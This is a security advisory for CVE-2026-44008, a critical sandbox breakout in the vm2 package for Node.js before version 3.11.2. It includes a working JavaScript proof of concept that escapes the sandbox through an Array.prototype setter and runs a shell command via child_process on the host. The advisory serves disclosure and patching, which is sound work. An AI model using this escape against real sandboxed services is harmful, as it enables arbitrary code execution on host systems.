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GHSA-9qj6-qjgg-37qq vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`

CRITICAL Published 2026-05-08 Modified 2026-05-14 Official page ↗
Aliases
CVE-2026-44008
Ecosystem
npm
Packages
vm2
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-668
Reviewed
2026-05-08

Affected packages

• npm vm2: < 3.11.2 → fixed in 3.11.2

Description

Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. Details The new method `neutralizeArraySpeciesBatch` works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host `Function` object. PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const a = []; Object.defineProperty(Array.prototype, 0, { set(value) { a.f = Buffer.prototype.inspect; value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } }); new Buffer(a); `)); ``` Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Related

Alias · CVE (1)

  • CVE-2026-44008 vm2 is an open source vm/sandbox for Node.js. vulnerability

Weakness · CWE (1)

  • CWE-668 Exposure of Resource to Wrong Sphere weakness

References